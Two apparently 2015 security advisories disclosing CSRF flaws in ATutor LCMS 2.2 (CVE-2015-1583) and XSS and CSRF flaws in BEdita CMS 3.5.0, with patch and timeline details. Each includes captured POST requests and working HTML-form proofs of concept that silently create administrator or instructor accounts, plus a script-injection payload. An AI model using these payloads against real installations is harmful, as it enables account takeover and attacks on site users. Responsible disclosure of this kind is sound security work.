[CVE-2015-1583] ATutor LCMS – CSRF Vulnerability in Version 2.2

[CVE-2015-1583] ATutor LCMS – CSRF Vulnerability in Version 2.2

Product Information:

Software: ATutor LCMS

Tested Version: 2.2, released 25.8.2014

Vulnerability Type: Cross-Site Request Forgery, CSRF (CWE-352)

Download link: http://atutor.ca/atutor/download.php

Description: ATutor is an Open Source Web-based Learning Content Management System (LCMS) designed with accessibility and adaptability in mind. (copied from http://www.atutor.ca/credits.php#whatatutor)

Issues:

1) CSRF in administrator creation page

2) CSRF in user creation page

Vulnerability description:

1) CSRF in administrator creation page

When an authenticated administrative user of ATutor LCMS is creating another administrator account, the following POST request is sent to the server:

POST /atutor-2.2/ATutor/mods/_core/users/admins/create.php HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 187
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/atutor-2.2/ATutor/mods/_core/users/admins/create.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ATutorID=pr6jq1tlfr204nm60p5rtbj0u4; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _gat=1; _ga=GA1.1.621011711.1425057132

form_password_hidden=ef0f8b6ffb699f90933a3321b00ff6769e018b94&password_error=&login=csrfadmin9&password=&confirm_password=&real_name=&[email protected]&priv_admin=1&submit=Save

By executing the following Proof-of-Concept, a new administrative user called “csrfadmin99” will be created with the password “1qazXSW@”.

<form action="http://127.0.0.1/atutor-2.2/ATutor/mods/_core/users/admins/create.php" method="POST">
    <input name="form_password_hidden" type="hidden" value="ef0f8b6ffb699f90933a3321b00ff6769e018b94" />
    <input name="login" type="hidden" value="csrfadmin99" />
    <input name="real_name" type="hidden" value="csrfadmin99" />
    <input name="email" type="hidden" value="[email protected]" />
    <input name="priv_admin" type="hidden" value="1" />
    <input name="submit" type="hidden" value="Save" />
    <input type="submit" value="Submit request" />
</form>

2) CSRF in user creation page

When an authenticated administrative user of ATutor LCMS is creating an user, the following POST request is sent to the server:

POST /atutor-2.2/ATutor/mods/_core/users/create_user.php HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 429
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/atutor-2.2/ATutor/mods/_core/users/create_user.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ATutorID=0h3qqin6ndjmpt21m7f17i07l7; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _gat=1; _ga=GA1.1.621011711.1425057132

ml=&password_error=&form_password_hidden=ef0f8b6ffb699f90933a3321b00ff6769e018b94®istration_token=19569b3551f19d60ddfbe4973d1733079f775568&login=csrfuser9&form_password1=&form_password2=&[email protected]&private_email=1&[email protected]&first_name=csrfuser9&second_name=&last_name=csrfuser9&id=&status=3&old_status=&year=&month=&day=&address=&postal=&city=&province=&country=&phone=&website=&submit=+Save+

By executing the following Proof-of-Concept, a new instructor user called “csrfuser99” will be created with the password “1qazXSW@”.

<form action="http://127.0.0.1/atutor-2.2/ATutor/mods/_core/users/create_user.php" method="POST">
    <input name="form_password_hidden" type="hidden" value="ef0f8b6ffb699f90933a3321b00ff6769e018b94" />
    <input name="login" type="hidden" value="csrfuser99" />
    <input name="email" type="hidden" value="[email protected]" />
    <input name="private_email" type="hidden" value="1" />
    <input name="email2" type="hidden" value="[email protected]" />
    <input name="first_name" type="hidden" value="csrfuser99" />
    <input name="last_name" type="hidden" value="csrfuser99" />
    <input name="status" type="hidden" value="3" />
    <input name="submit" type="hidden" value="Save" />
    <input type="submit" value="Submit request" />
</form>

Impact:

1) An attacker is able to create an administrator account with super administrator privilege.

2) An attacker is able to create an user account with instructor privilege.

Solution:

Update using the in-built patcher, Patch ID 0009 and 0011.

Timeline:

Vulnerability found: 10.2.2015 & 28.2.2015

Vendor informed: 10.2.2015 & 28.2.2015

Response by vendor: 11.2.2015 & 28.2.2015

Fix by vendor 23.2.2015 & 28.2.2015

Public Advisory: 1.3.2015

This advisory is also available on securityfocus.

BEdita CMS – XSS and CSRF Vulnerability in Version 3.5.0

BEdita CMS – XSS & CSRF Vulnerability in Version 3.5.0

Product Information:

Software: BEdita CMS

Tested Version: 3.5.0, released 19.1.2015

Vulnerability Type: Cross-Site Scripting (CWE-79) & Cross-Site Request Forgery, CSRF (CWE-352)

Download link: [http://www.bedita.com/download-bedita](http://www.bedita.com/download-bedita)

Description: A software to create, manage content and organize it with semantic rules. (copied from [http://www.bedita.com/what-is-bedita](http://www.bedita.com/what-is-bedita))

Issues:

1) XSS in newsletter mail group creation page.

2) CSRF in user creation page.

Vulnerability description:

1) XSS in newsletter mail group creation page

When an authenticated user of BEdita CMS is creating a newsletter mail group, the following POST request is sent to the server:

POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/saveMailGroups HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 523
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/viewMailGroup/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132

data[MailGroup][id]=&data[MailGroup][group_name]=&lt;script&gt;alert(0)&lt;/script&gt;&data[MailGroup][area_id]=1&data[MailGroup][visible]=1&data[MailGroup][security]=none&data[MailGroup][confirmation_in_message]=Hi [$user],

your+subscription+is+now+active,+soon+you'll+receive+the "[$title]"+newsletter.&data[MailGroup][confirmation_out_message]=Hi [$user],

you+have+been+unsubscribed+from "[$title]"

The parameter data[MailGroup][group_name] is vulnerable to XSS.

2)  CSRF in user creation page

When an authenticated administrative user of BEdita CMS is creating an user, the following POST request is sent to the server:

POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/users/saveUser HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 339
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/users/viewUser
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132

data[User][auth_type]=bedita&data[User][userid]=csrfadmin99&data[User][auth_params][userid]=&pwd=1qazXSW@&data[User][passwd]=1qazXSW@&data[User][realname]=csrfadmin99&data[User][email][email protected]&data[User][valid]=1&groups=&data[groups][administrator]=on

By executing the following Proof-of-Concept, a new user called “csrfadmin99” will be created with the password “1qazXSW@”.

form action="http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/users/saveUser" method="POST"&gt;
&lt;input name="data[User][auth_type]" type="hidden" value="bedita" /&gt;
&lt;input name="data[User][userid]" type="hidden" value="csrfadmin99" /&gt;
&lt;input name="pwd" type="hidden" value="1qazXSW@" /&gt;
&lt;input name="data[User][passwd]" type="hidden" value="1qazXSW@" /&gt;
&lt;input name="data[User][realname]" type="hidden" value="csrfadmin99" /&gt;
&lt;input name="data[User][email]" type="hidden" value="[email protected]" /&gt;
&lt;input name="data[User][valid]" type="hidden" value="1" /&gt;
&lt;input name="data[groups][administrator]" type="hidden" value="on" /&gt;
&lt;input type="submit" value="Submit request" /&gt;&lt;/form&gt;

Impact:

1) An attacker is able to leverage on the XSS vulnerability to exploit users of BEdita. An example would be to Inject malicious JavaScript code in order to use attacking tools like BeEF.

2) An attacker is able to create an user account with administrator privilege.

Solution: Update to the latest version, which is 3.5.1, see [https://groups.google.com/forum/?fromgroups#!topic/bedita/SOYrl5C-YRg](https://groups.google.com/forum/?fromgroups#!topic/bedita/SOYrl5C-YRg)

Timeline:Vulnerability found: 11.2.2015

Vendor informed: 11.2.2015

Response by vendor: 11.2.2015

Fix by vendor 19.2.2015

Public Advisory: 1.3.2015

References:

https://github.com/bedita/bedita/issues/591

https://github.com/bedita/bedita/issues/597

This advisory is also available on securityfocus.

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